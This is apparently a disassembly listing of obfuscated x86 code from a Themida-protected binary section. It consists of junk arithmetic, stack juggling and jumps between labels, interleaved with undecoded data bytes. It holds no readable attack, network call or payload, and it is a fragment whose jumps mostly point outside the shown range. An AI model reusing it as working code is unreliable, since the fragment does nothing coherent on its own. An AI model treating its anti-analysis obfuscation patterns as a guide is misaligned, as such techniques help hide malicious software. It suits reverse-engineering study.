loc_54A23C:				; CODE XREF: Themida_:0054ACF7j
		mov	ebx, [esp]
		add	esp, 4
		xchg	edx, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], esi
		push	ebx
		mov	ebx, 2AC4213Eh
		push	ecx
		jmp	loc_54BAA3
; ---------------------------------------------------------------------------
		db 0B8h
		dd 78976106h, 6E07E525h, 72A7352Ch, 0D0F71EFCh,	0FFAD07E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54A271:				; CODE XREF: Themida_:0054C603j
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], esi
		push	esp
		pop	esi
		add	esi, 4
		push	eax
		mov	eax, 4
		add	esi, 4CB90DE5h
		add	esi, eax
		jmp	loc_544B6D
; ---------------------------------------------------------------------------
		db 8Bh,	34h, 24h
		dd 81E28952h, 4C2h, 4C28300h, 5C241487h, 315E9h
		db 0
; ---------------------------------------------------------------------------

loc_54A2B9:				; CODE XREF: Themida_:0054E8C1j
		mov	[esp], ebx
		push	680Eh
		mov	[esp], esi
		push	74AB3E36h
		pop	esi
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		jmp	loc_549F89
; ---------------------------------------------------------------------------
		db 66h,	0F7h, 0F1h
		dd 78E46866h, 24148966h, 0E99C5066h, 0FFFF9630h, 0E189515Ch
		dd 4C181h, 0C1810000h, 4, 5C240C87h, 1BB15166h,	0CDC380h
		dd 0CDEB80CBh, 46685966h, 89000023h, 95B1240Ch,	0FE04E1C0h
		dd 56E953C1h, 8100000Eh, 0F40520C1h, 1C18336h, 8108E9C1h
		dd 30057CE9h, 9DC38187h, 0E90E4D67h, 0FFFFA555h, 5C241C87h
		dd 39DAE9h, 240C8900h, 1079E956h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54A35A:				; CODE XREF: Themida_:00545D25j
		push	ebp
		mov	ebp, 5B357E47h
		add	ebp, 0C71BA76Bh
		add	edx, ebp
		pop	ebp
		sub	edx, 629B4918h
		push	dword ptr [edx]
		push	edx
		push	ecx
		push	6C256965h
		pop	ecx
		and	ecx, 134D7295h
		xor	ecx, 3A61053h
		mov	edx, ecx
		jmp	loc_54EE51
; ---------------------------------------------------------------------------

loc_54A38C:				; CODE XREF: Themida_:00544A46j
		mov	ebx, 0FC95B82h
		inc	ebx
		sub	ebx, 403E5150h
		jmp	loc_543C30
; ---------------------------------------------------------------------------
		db 5Ch,	0FFh, 34h
aYhkn		db '$YhŠn',0
		dw 8900h
		dd 80E92414h
		db 0ACh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54A3AF:				; CODE XREF: Themida_:0054DFA9j
		push	bx
		mov	bl, 69h
		sub	al, bl
		jmp	loc_54397F
; ---------------------------------------------------------------------------
		dw 0C181h
		dd 4, 8702C183h, 0EDE9240Ch
		db 55h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54A3CB:				; CODE XREF: Themida_:0054A4F2j
		pop	esi
		pop	eax
		jmp	loc_545D3D
; ---------------------------------------------------------------------------
		dw 2F68h
		dd 8900003Eh, 4BE2434h,	1000000h, 24348BF5h, 6804C483h
		dd 404Ah, 0FF99C1E9h, 0FFD701FFh, 0E95A2434h, 0FFFFB525h
		dd 0E95BDE29h, 0FFFFADD2h, 8E02BEB9h, 0C1D9F743h, 0F18103E9h
		dd 642A2819h, 5C12E181h, 0F3E97500h, 8100002Dh,	321C09C3h
		dd 4ABE564Ah, 4E0E767Fh, 2426BA52h, 0DAF757EEh,	0D0E9D2F7h
		dd 8B000050h, 0F7682404h, 0E900000Ah, 0B0Dh, 49E9DA29h
		dd 89FFFFB8h, 25B82404h, 0E908A374h, 41AAh, 0C381CB01h
		dd 364202C1h, 81240C8Bh, 4C4h, 1480E900h, 0EC830000h, 0B510E904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54A47A:				; CODE XREF: Themida_:005486E6j
		pop	esi
		add	esi, 4
		add	esi, 4
		jmp	loc_547A49
; ---------------------------------------------------------------------------
aFrsca		db 'fRécA',0
		align 10h
		dd 4C381h, 0C3810000h, 4, 5C241C87h, 7B9C6850h,	0A1E90000h
		db 46h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54A4AB:				; CODE XREF: Themida_:005475A1j
		push	ebx
		jmp	loc_54DF3D
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 0E9242C87h, 0FFFFE66Eh
; ---------------------------------------------------------------------------

loc_54A4BC:				; CODE XREF: Themida_:00544725j
		push	esi
		mov	esi, 4
		add	eax, esi
		pop	esi
		xchg	eax, [esp]
		pop	esp
		add	esp, 4
		add	ebx, 4
		push	ebp
		jmp	loc_545C2B
; ---------------------------------------------------------------------------
aASia		db '€Æ^éˆA',0
		align 10h

loc_54A4E0:				; CODE XREF: Themida_:00549AEAj
		add	esp, 4
		sub	edx, 48FE6A05h
		add	edx, edi
		jmp	loc_54A8C3
; ---------------------------------------------------------------------------

loc_54A4F0:				; CODE XREF: Themida_:0054D732j
		mov	ebx, esi
		jmp	loc_54A3CB
; ---------------------------------------------------------------------------
		db 89h
		dd 0E954240Ch, 0FFFFA07Ah, 2DE9CD01h, 1000018h,	5E959CAh
		dd 58FFFFC6h, 685F5457h, 6353h,	0BE243489h, 77545348h
		dd 0E10E9h, 0BEE18100h,	8164051Dh, 207731F1h, 0E9CE291Dh
		dd 0FFFF9EBAh, 536768h,	242C8900h, 51C368h, 48F5400h, 0CFB85024h
		dd 2D2C1E4Fh, 7CC951ADh, 0AB01E205h, 24448150h,	100BFF04h
		dd 24440166h, 246C8104h, 100BFF04h, 0E33EE966h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54A572:				; CODE XREF: Themida_:0054DC06j
		mov	edi, 2AF12F8h
		add	ebx, edi
		pop	edi
		push	5BBFh
		mov	[esp], edi
		jmp	loc_546AE7
; ---------------------------------------------------------------------------

loc_54A587:				; CODE XREF: Themida_:00548365j
		mov	ecx, 26450985h
		jmp	loc_54BA88
; ---------------------------------------------------------------------------
		db 1, 0C6h, 8Bh
		dd 89562404h, 4C681E6h,	83000000h, 348704C6h, 0C6835C24h
		dd 24348704h, 4A30F5Ch,	6DE99C24h, 81FFFF93h, 8C0AF6F1h
		dd 0D2E9533Dh, 83000051h, 3C3304C4h, 42CEE924h,	1C870000h
		dd 8E95C24h, 68FFFFC6h,	38563456h, 97BE95Ah, 0E2890000h
		dd 0F076851h, 0E9593C50h, 0FFFF9553h, 6FB6C281h, 0EA813229h
		dd 31A25ED7h, 0E95AD689h, 2CDCh, 8B2434FFh, 8956240Ch
		dd 4C681E6h, 83000000h,	51E904C6h, 66FFFFACh, 55C8BE0Fh
		dd 0FFF113E9h, 242489FFh, 4240481h, 8F000000h, 0B9512404h
		dd 4, 3ABBBA52h, 54016545h, 15A0824h, 8104244Ch, 0BB04246Ch
		dd 8B65453Ah, 0C481240Ch, 4, 216BE959h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54A65E:				; CODE XREF: Themida_:00547FA3j
		sub	ah, 0F2h
		shl	ah, 3
		or	ah, 2Fh
		sub	ah, 3Ch
		jmp	loc_548BF2
; ---------------------------------------------------------------------------
aI4PSk		db '‰4$P^éª=',0
		db 0
; ---------------------------------------------------------------------------

loc_54A679:				; CODE XREF: Themida_:00545E01j
		shr	eax, 2
		add	eax, 0CB04462Bh
		add	edx, eax
		jmp	loc_54D7BB
; ---------------------------------------------------------------------------

loc_54A688:				; CODE XREF: Themida_:0054CB72j
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebp
		push	esi
		mov	esi, 4EC0494Fh
		shl	esi, 6
		and	esi, 373C7DE4h
		neg	esi
		inc	esi
		sub	esi, 0AD2F5263h
		jmp	loc_543EC1
; ---------------------------------------------------------------------------
		db 1, 0DEh, 5Bh
		dd 0FFADD1E9h, 4C483FFh, 5166D828h, 2304C8B5h, 0E800352Ch
		dd 232C3504h, 240C8B66h, 5002C483h, 405E089h, 2D000000h
		dd 4, 0E9240487h, 1E60h
; ---------------------------------------------------------------------------

loc_54A6EC:				; CODE XREF: Themida_:0054C76Bj
		push	ebx
		jmp	loc_5494C1
; ---------------------------------------------------------------------------

loc_54A6F2:				; CODE XREF: Themida_:0054B0B8j
		or	esi, ebp
		pop	ebp
		jmp	loc_5439CB
; ---------------------------------------------------------------------------
		dw 0E768h
		dd 0E9000014h, 0FFFFE521h, 3004C483h, 2434FFF0h, 0E924148Bh
		dd 0AD2h, 35D8E9ADh, 0EA810000h, 68155F3Ch, 3DAAF281h
		dd 0EDE91F2Dh
		db 0EFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54A72B:				; CODE XREF: Themida_:00546BA3j
		add	[esp+4], esi
		pop	esi
		mov	eax, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_54D1FC
; ---------------------------------------------------------------------------
		db 66h
		dd 8324048Bh, 148904ECh, 73C76824h, 0EC830000h,	24248904h
		dd 4240481h, 8F000000h,	0BE562404h, 4, 0FFD3DFE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54A771:				; CODE XREF: Themida_:0054CC3Fj
		not	dword ptr [esp]
		pop	ebx
		jmp	loc_54451B
; ---------------------------------------------------------------------------

loc_54A77A:				; CODE XREF: Themida_:00545267j
		mov	eax, 4
		add	edi, eax
		pop	eax
		jmp	loc_5484CD
; ---------------------------------------------------------------------------

loc_54A787:				; CODE XREF: Themida_:0054F1B8j
		add	ebp, 4
		add	ebp, 4
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_54BAF2
; ---------------------------------------------------------------------------
		db 66h
		dd 81240C8Bh, 2C4h, 0C0B60F00h,	36056866h, 24048966h, 0FF916BE9h
		dd 4A310DFFh, 35357428h, 502374Dh, 8336C982h, 91E9C101h
		db 31h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54A7CF:				; CODE XREF: Themida_:00547967j
		pop	ebp
		push	ebp
		push	ecx
		mov	ecx, 0F5C7390h
		add	ecx, 0F0D795B3h
		mov	ebp, ecx
		pop	ecx
		and	eax, ebp
		pop	ebp
		shr	eax, 3
		jmp	loc_544F51
; ---------------------------------------------------------------------------
		db 0BBh
		dd 35FE1010h, 8102EBC1h, 0DB0F82CBh, 0FC21E96Bh, 8B66FFFFh
		dd 0E952240Ch, 0FFFFE481h, 0ED805966h, 7B65278h, 0FEC8B050h
		dd 1338E9C0h, 0CB10000h, 0C006E9C0h, 1BE907E1h,	6800002Bh
		dd 6C5Eh, 0BF243C89h, 337B37B1h, 0F781DFF7h, 0CC84C84Bh
		dd 93B850h, 0C1016720h,	0E9F90158h, 922h, 26B60BAh, 0ED75E908h
		dd 0E95AFFFFh, 4A0h, 5450C02Dh,	5D80133h, 335450C0h, 81241C8Bh
		dd 4C4h, 4EC8300h, 4126E9h, 35E0D100h, 34D00Bh,	5158C129h
		dd 0F381595Bh, 654D175Eh, 2B5FBE56h, 17E9141Fh
		db 3 dup(0)
; ---------------------------------------------------------------------------

loc_54A897:				; CODE XREF: Themida_:0054BEA7j
		pop	esp
		push	eax
		mov	eax, 31856D01h
		sub	ebx, eax
		pop	eax
		sub	ebx, 2AF12F8h
		sub	ebx, eax
		jmp	loc_54DC05
; ---------------------------------------------------------------------------
		dw 0F331h
		dd 8BDE015Eh, 0E951241Ch, 4381h
; ---------------------------------------------------------------------------

loc_54A8BC:				; CODE XREF: Themida_:00549C25j
		pop	eax
		push	edx
		jmp	loc_54E6D6
; ---------------------------------------------------------------------------

loc_54A8C3:				; CODE XREF: Themida_:0054A4EBj
		add	edx, 48FE6A05h
		push	eax
		mov	eax, 0
		add	eax, edx
		jmp	loc_549287
; ---------------------------------------------------------------------------
		dw 0E381h
		dd 68FD1623h, 2414F753h, 0FFEB815Bh, 81FFFFFFh,	62CC96F3h
		dd 413FE9D4h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54A8F2:				; CODE XREF: Themida_:0054E534j
		add	edx, ebx
		push	ecx
		push	edi
		mov	edi, 381D7D3Bh
		inc	edi
		jmp	loc_54E780
; ---------------------------------------------------------------------------
		db 5Fh,	81h, 0ECh
		dd 4, 0B9240C89h, 397A004Ah, 0E905E1C1h, 48BAh
; ---------------------------------------------------------------------------

loc_54A918:				; CODE XREF: Themida_:00549E99j
		mov	ebx, 76645D48h
		mov	ebp, ebx
		pop	ebx
		sub	ebp, 6E54001Ch
		xor	ebp, 4E3E0C42h
		inc	ebp
		add	ebp, 5529ABA3h
		sub	edi, ebp
		jmp	loc_546133
; ---------------------------------------------------------------------------
		dw 0F66h
		dd 686602B6h, 72E90D12h, 5DFFFFD2h, 1C8BDA01h, 4C48124h
		dd 52000000h, 42474FFh,	0FFCF2BE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54A95D:				; CODE XREF: Themida_:00549216j
		sub	ebp, 0FFFFFFFFh
		push	edx
		mov	edx, 607867BFh
		sub	edx, 0E7E30B79h
		xor	ebp, edx
		jmp	loc_54D144
; ---------------------------------------------------------------------------
		dw 0D14Ah
		dd 0B654E9EAh, 40B8FFFFh, 353C042Ch, 3C042C44h,	62E9h
		dd 0D831AD00h, 681068h,	240C8900h, 29AD6850h, 48B2D2Dh
		dd 3A0AE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54A9A6:				; CODE XREF: Themida_:0054D050j
		sub	eax, 7DB435EBh
		not	eax
		sub	eax, 7E412678h
		add	edi, eax
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_543E55
; ---------------------------------------------------------------------------

loc_54A9BF:				; CODE XREF: Themida_:00549B5Fj
		sub	eax, 27D72548h
		add	eax, ebx
		push	ecx
		mov	ecx, 5FBC6B0Eh
		add	ecx, 0C81ABA3Ah
		add	eax, ecx
		pop	ecx
		pop	ebx
		jmp	loc_54589E
; ---------------------------------------------------------------------------

loc_54A9DB:				; CODE XREF: Themida_:00544076j
		sub	edx, 4AD77DCAh
		xor	edx, 0D27BB9A6h
		mov	ecx, edx
		pop	edx
		jmp	loc_544A45
; ---------------------------------------------------------------------------
		db 81h
		dd 0EC4BB9C2h, 81C2012Ch, 0EC4BB9EAh, 0C281582Ch, 4, 31241433h
		dd 14332414h, 5E95C24h,	89000039h, 0D8015FFBh, 2404875Bh
		dd 0E924248Bh, 0FFFF9037h
; ---------------------------------------------------------------------------

loc_54AA24:				; CODE XREF: Themida_:0054B462j
		xor	dh, 5Eh
		jmp	loc_54751C
; ---------------------------------------------------------------------------

loc_54AA2C:				; CODE XREF: Themida_:00544F60j
		pop	edi
		sub	[edi+24h], eax
		mov	eax, [esp]
		jmp	loc_54F647
; ---------------------------------------------------------------------------
		dd 33243C31h, 36E9243Ch, 8BFFFFB9h, 8B662424h, 83682404h
		dd 8900000Bh, 5F54243Ch, 4C781h, 0BE90000h, 0BA00001Eh
		dd 55407104h, 0E95AD729h, 0FFFFB33Ch, 5224348Bh, 0C281E289h
		dd 4, 4C281h, 14870000h, 0C5BE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54AA86:				; CODE XREF: Themida_:0054AB04j
		push	107Ch
		mov	[esp], edx
		push	esp
		pop	edx
		push	ebx
		mov	ebx, 5228664Ch
		jmp	loc_547056
; ---------------------------------------------------------------------------
		db 81h
		dd 4C6h, 4C68100h, 87000000h, 248B2434h, 4E67E924h, 348B0000h
		dd 2721E924h, 4890000h,	5141B824h, 0C3314746h, 0E924048Bh
		dd 0FFFF949Bh
; ---------------------------------------------------------------------------

loc_54AACC:				; CODE XREF: Themida_:00549F9Cj
		xor	[esp], ecx
		xor	ecx, [esp]
		jmp	loc_54C697
; ---------------------------------------------------------------------------

loc_54AAD7:				; CODE XREF: Themida_:005439D4j
		mov	eax, 785400Ah
		dec	eax
		jmp	loc_546402
; ---------------------------------------------------------------------------
		dw 1487h
		dd 24248B24h, 2404FF66h, 8E32E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54AAF2:				; CODE XREF: Themida_:00548CCBj
		pop	esp
		shr	eax, 0Bh
		xor	ecx, eax
		push	3B16h
		mov	[esp], ebx
		push	dword ptr [esp]
		pop	eax
		jmp	loc_54AA86
; ---------------------------------------------------------------------------
		db 81h,	0EBh, 74h
		dd 81156CAAh, 0E60AB9C1h, 3FC1817Bh, 0E903E565h, 3236h
; ---------------------------------------------------------------------------

loc_54AB20:				; CODE XREF: Themida_:005494F9j
		sub	al, dl
		pop	dx
		add	al, cl
		jmp	loc_544CCB
; ---------------------------------------------------------------------------

loc_54AB2B:				; CODE XREF: Themida_:00546481j
		pop	esp
		mov	[esp], edi
		push	edx
		jmp	loc_54C97C
; ---------------------------------------------------------------------------
		db 5Dh,	81h, 0F6h
		dd 6611F7EFh, 0FFF680E9h, 0C8B66FFh, 0E6895624h, 0FF958DE9h
		dd 24048BFFh, 0FF8E84E9h, 240C31FFh, 8B240C33h,	8B662424h
		dd 0EC83240Ch, 240C8904h, 0BE56E189h, 4, 565EF101h, 0FFE022E9h
		dd 0C7C280FFh, 595AD000h, 24148B66h, 4EC81h, 34890000h
		dd 81E68924h, 4C6h, 2C68100h, 87000000h, 535C2434h, 8904EC83h
		dd 73B5240Ch, 0F62EC580h, 86CDFEDDh, 86D4F6E5h,	2EDC0E5h
		dd 0FFDDF7E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54ABBD:				; CODE XREF: Themida_:0054F24Dj
		not	ebp
		jmp	loc_5485AB
; ---------------------------------------------------------------------------
		dd 2414875Bh, 5924248Bh, 0FFF7E9E9h, 42BA52FFh,	57337167h
		dd 0FF94B0E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54ABDD:				; CODE XREF: Themida_:0054C9E8j
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		jmp	loc_54C379
; ---------------------------------------------------------------------------
		dd 89242C89h, 0F2FBE9E5h, 5755FFFFh, 3C38E9h, 24048F00h
		dd 8904EC83h, 0B6682404h, 5854690Ah, 371DD335h,	6E0C122h
		dd 0FFF484E9h, 4C481FFh, 31000000h, 81435AD3h, 6E2A50F3h
		dd 8BD90146h, 0C483241Ch, 240C3304h, 33240C31h,	248B240Ch
		dd 0F697E924h, 0C483FFFFh, 0F85FE904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54AC52:				; CODE XREF: Themida_:00548EF2j
		xchg	eax, [esp]
		pop	esp
		push	dword ptr [edi+eax*4]
		push	ebp
		push	esi
		mov	esi, 335E5259h
		push	4C5Eh
		mov	[esp], edx
		mov	edx, esi
		mov	ebp, edx
		pop	edx
		pop	esi
		push	esi
		push	edx
		jmp	loc_54D7E2
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
aZpirsJ		db 'ZP䈎',7,'J',0
		dd 4C78100h, 83000000h,	0A5E904ECh, 5E000009h, 631C681h
		dd 0F289EFD1h, 0BE2815Eh, 0F726FA21h, 7DBF57DAh, 877FA629h
		dd 87D3F7DFh, 0E93EE9DFh, 0E956FFFFh, 0FFFFA0B6h, 8CE93D04h
		dd 86000031h, 3230E9F0h, 0E9AD0000h, 0FFFFAC6Eh, 0C181D901h
		dd 58BF77DEh, 82E9018Bh
		db 50h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54ACDB:				; CODE XREF: Themida_:00548655j
		pop	esp
		add	ecx, 4
		jmp	loc_545303
; ---------------------------------------------------------------------------
		db 31h
		dd 45E95EF7h
		db 0A7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54ACEF:				; CODE XREF: Themida_:0054BADCj
		push	ebx
		mov	ebx, 4
		add	edx, ebx
		jmp	loc_54A23C
; ---------------------------------------------------------------------------
		dd 4244C01h, 243C8B59h,	8104C483h, 4C7h, 2C78300h, 0E9243C33h
		dd 0FFFFB12Fh, 0EE03F705h, 2DF0013Ah, 3AEE03F7h, 0D73A242Dh
		dd 89515E34h, 4C181E1h,	56000000h, 4BEh, 0E9F12900h, 0FFFFAD46h
		dd 4C481h, 67E90000h, 53FFFFEDh, 0FF99B5E9h, 1ABB53FFh
		dd 686F436Dh, 7779h, 50241489h,	744504B8h, 5E8C158h, 5B25D0F7h
		dd 0E94BDF38h, 2F68h
; ---------------------------------------------------------------------------

loc_54AD74:				; CODE XREF: Themida_:0054A0E7j
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_54AE61
; ---------------------------------------------------------------------------
		db 66h
		dd 5207E3C1h, 3F60BA66h, 0B9665166h, 21667F21h,	665966CAh
		dd 350AE942h, 0F5C0000h, 5E5456C8h, 50F4BA52h, 42E9155Bh
		dd 0BFFFFFD1h, 4, 0AFE9FA01h, 89FFFFE3h, 4812424h, 424h
		dd 24348B00h, 4C481h, 2680000h,	8900007Ah, 4B82404h, 0E9000000h
		dd 0FFFFF7ADh, 4C4815Fh, 21000000h, 240C8BC8h, 904C483h
		dd 8A840FC0h, 6800000Bh, 162h, 54243489h, 4C6815Eh, 0E9000000h
		dd 0FFFFC4E9h, 2474FF53h, 0D94FE904h, 0C701FFFFh, 32BE5658h
		dd 5024583Ah, 106B07B8h, 3FEF355Ch, 0BE565159h,	71B80274h
		dd 55EF031h, 5D5D42EFh,	0D04E8C1h, 1360697Fh, 8CAFC92Dh
		dd 58C631FBh, 4927E952h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54AE52:				; CODE XREF: Themida_:0054F0ACj
		xor	edx, edx
		jmp	loc_5444BE
; ---------------------------------------------------------------------------
		db 87h,	3Ch, 24h
		dd 278E9h
		db 0
; ---------------------------------------------------------------------------

loc_54AE61:				; CODE XREF: Themida_:0054AD82j
		pop	esp
		jmp	loc_54D31C
; ---------------------------------------------------------------------------
		db 0BFh
		dd 65CB48ECh, 34B716B8h, 8BF8019Ah, 0C483243Ch,	58C78904h
		dd 0E2E9FD01h
		db 0CDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54AE83:				; CODE XREF: Themida_:00544693j
		add	esp, 4
		push	ecx
		mov	ecx, 0C274C7E3h
		sub	ebx, 7A593F13h
		add	ebx, ecx
		add	ebx, 7A593F13h
		pop	ecx
		push	7FC7h
		jmp	loc_54C2D5
; ---------------------------------------------------------------------------

loc_54AEA5:				; CODE XREF: Themida_:0054D6C8j
		xchg	ebp, [esp]
		jmp	loc_546A73
; ---------------------------------------------------------------------------

loc_54AEAD:				; CODE XREF: Themida_:0054D15Dj
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		jmp	loc_54440A
; ---------------------------------------------------------------------------
		dd 0E9241C89h, 0FFFFA131h, 0E52C00BFh, 0D36E92Ah, 0C3810000h
		dd 4, 4EB81h, 1C870000h, 0F0E5E924h, 0E689FFFFh, 158BBA52h
		dd 0D2F738DEh, 0FFC28142h, 81FFFFFFh, 6263F5CAh, 0F1EA815Ah
		dd 1DF63EBh, 2ECEE9D6h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54AF02:				; CODE XREF: Themida_:00549E62j
		push	ebp
		push	esi
		push	63D5h
		mov	[esp], edi
		mov	edi, 6EF27C6Ch
		mov	esi, edi
		pop	edi
		add	esi, 38BA7876h
		shl	esi, 4
		xor	esi, 59163FEAh
		neg	esi
		xchg	eax, esi
		not	eax
		xchg	eax, esi
		add	esi, 0FFFFFFFFh
		push	ecx
		mov	ecx, 2882D9Fh
		jmp	loc_54B754
; ---------------------------------------------------------------------------
		dw 0EBC1h
		dd 0F994E908h, 0D5F6FFFFh, 1138E9h, 242C8100h, 37376FD9h
		dd 34E5E9h, 24348900h, 3B6DE9h,	5EAC100h, 0D4C2814Ah, 89758895h
		dd 1AB9E9D3h, 2DBB0000h, 811B8D3Ch, 72C3D7C3h, 3086E9E4h
		dd 28580000h, 1050E9C3h, 0EB810000h, 232939E1h,	0C381F301h
		dd 232939E1h, 8324348Bh, 0C38104C4h, 2,	0E9241C87h, 35EBh
; ---------------------------------------------------------------------------

loc_54AFA8:				; CODE XREF: Themida_:0054722Aj
		mov	[esp], ebp
		jmp	loc_547832
; ---------------------------------------------------------------------------

loc_54AFB0:				; CODE XREF: Themida_:0054C8E4j
		add	ebx, eax
		pop	eax
		neg	ebx
		jmp	loc_54428C
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 8168240Ch, 0E900004Dh, 0FFFFA4D7h
; ---------------------------------------------------------------------------

loc_54AFC8:				; CODE XREF: Themida_:0054C6FAj
		add	ebp, 8FBD7E26h
		jmp	loc_547BC2
; ---------------------------------------------------------------------------

loc_54AFD3:				; CODE XREF: Themida_:00543B3Ej
		mov	[esp], ecx
		mov	ecx, 7A3460D4h
		push	ebp
		push	6FE868B5h
		jmp	loc_548D9B
; ---------------------------------------------------------------------------
		dw 3489h
		dd 0BE565F24h, 2EDA03EDh, 8107E6C1h, 0BD7386F6h, 42F2E915h
		dd 835E0000h, 348904ECh, 2BE24h, 0FDE90000h
		db 8, 2	dup(0)
; ---------------------------------------------------------------------------

loc_54B00F:				; CODE XREF: Themida_:00544B04j
		xchg	eax, [esp]
		jmp	loc_545120
; ---------------------------------------------------------------------------
		dd offset dword_50C450+18h
		align 4
		dd 0FF241489h, 0E9042474h, 361Ah, 42474FFh, 1E86E959h
		dd 815E0000h, 1242F7E9h, 0B6B5E914h, 8966FFFFh,	0A6B62414h
		dd 28D9B353h, 0BF045BD8h, 0BF2CF028h, 0E9D9B151h, 0FFFFD5BDh
; ---------------------------------------------------------------------------

loc_54B058:				; CODE XREF: Themida_:005470B4j
		pop	esp
		add	ecx, 4
		add	ecx, 4
		jmp	loc_54D298
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 0D4682404h, 8900002Ah, 0E9532404h, 0FFFF8E6Fh, 0C107EFC1h
		dd 6804EFh, 29000000h, 815F243Ch, 0D432BFF7h, 8BF931FCh
		dd 0C483243Ch, 2434FF04h, 4C48158h, 0F3000000h,	386203A5h
		dd 4EC81h, 16E90000h
		db 0D9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54B0B3:				; CODE XREF: Themida_:0054624Cj
		mov	ebp, 2D180A56h
		jmp	loc_54A6F2
; ---------------------------------------------------------------------------
aSk		db '²!éŠ+',0
		align 4
		dd 71192D5Dh, 6605622Ah, 2D517D5Fh, 202F3157h, 0FFCD6CE9h
		dd 0E9515CFFh, 0FFFFB964h, 8124148Bh, 4C4h, 68DBF700h
		dd 20D5h, 0BD242C89h, 0E1BC0D00h, 48E9EB29h, 89FFFFF8h
		dd 4BF243Ch, 1000000h, 3234E9FBh, 0C15B0000h, 592D03E8h
		dd 118B061h, 0F83158C7h, 27EB815Fh, 552ECA3Ah, 0CD3306BDh
		dd 0BAED8127h, 45B3932Dh, 4121BB53h, 0E3D1001Ch, 0C381DBF7h
		dd 36CE2144h, 0A9C3C381h, 0DD21E2C8h, 83241C8Bh, 0BE5604C4h
		dd 649E7D9Fh, 815EF531h, 0BB3BE5EBh, 15DEE96Bh,	0F660000h
		dd 5166C8AFh, 87B6E99Ch, 0E956FFFFh, 0FFFF8EE9h
; ---------------------------------------------------------------------------

loc_54B174:				; CODE XREF: Themida_:00544003j
		pop	ecx
		pop	esi
		add	ebx, 1CB81E2Ch
		jmp	loc_54FB8E
; ---------------------------------------------------------------------------
		db 0B7h, 98h, 8
		dd 0E1D05BF9h, 5224F180h, 0F10035B6h, 59CB005Ah, 0A0EB80h
		dd 0A0C380C3h, 0FFAED3E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54B1A1:				; CODE XREF: Themida_:00543E9Cj
		push	1B1Ah
		mov	[esp], esi
		mov	esi, esp
		jmp	loc_545F6A
; ---------------------------------------------------------------------------

loc_54B1B0:				; CODE XREF: Themida_:0054416Ej
		push	eax
		push	esi
		push	21FB542Fh
		jmp	loc_543AB7
; ---------------------------------------------------------------------------
		dd 5868C300h, 89000017h, 8DE92404h, 0FFFFFFC2h,	0E99C2404h
		dd 0FFFF8750h, 4EC81h, 24890000h, 24048324h, 30DFE904h
		dd 0C4830000h, 0B8D3E904h, 8B58FFFFh, 24148B0Ah, 8904EC83h
		dd 0E789243Ch, 4C781h, 0EC830000h, 240C8904h, 4B9h, 8BCF0100h
		dd 0C481240Ch, 4, 31243C33h, 3C33243Ch,	0EC685C24h, 0E9000035h
		dd 0FFFFC5C2h, 8DE4E94Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54B232:				; CODE XREF: Themida_:0054C592j
		mov	edx, 20h
		sub	edx, 43CE081Ch
		add	edx, edi
		add	edx, 43CE081Ch
		push	ebx
		mov	ebx, 0
		add	ebx, 495F4CA6h
		add	ebx, edx
		push	esi
		jmp	loc_54933E
; ---------------------------------------------------------------------------
		db 58h,	80h, 0EDh
		dd 80D52835h, 71E935C5h
		db 0C8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54B267:				; CODE XREF: Themida_:0054C78Dj
		shl	ah, 5
		shr	ah, 2
		jmp	loc_54F5DB
; ---------------------------------------------------------------------------
		dw 0E789h
		dd 4C781h, 0C7830000h, 1EE6E904h, 478F0000h, 869AE940h
		dd 0C783FFFFh, 243C8704h, 0FF9508E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54B295:				; CODE XREF: Themida_:00543D76j
		add	eax, 4
		jmp	loc_544C80
; ---------------------------------------------------------------------------
		db 5Bh
		dd 37E9C601h, 5400000Ch, 4B8505Fh, 0E9000000h, 48F9h, 6327C681h
		dd 0E9597228h, 0FFFFBD7Ah, 2C62E955h, 0C6810000h, 2, 2474FF56h
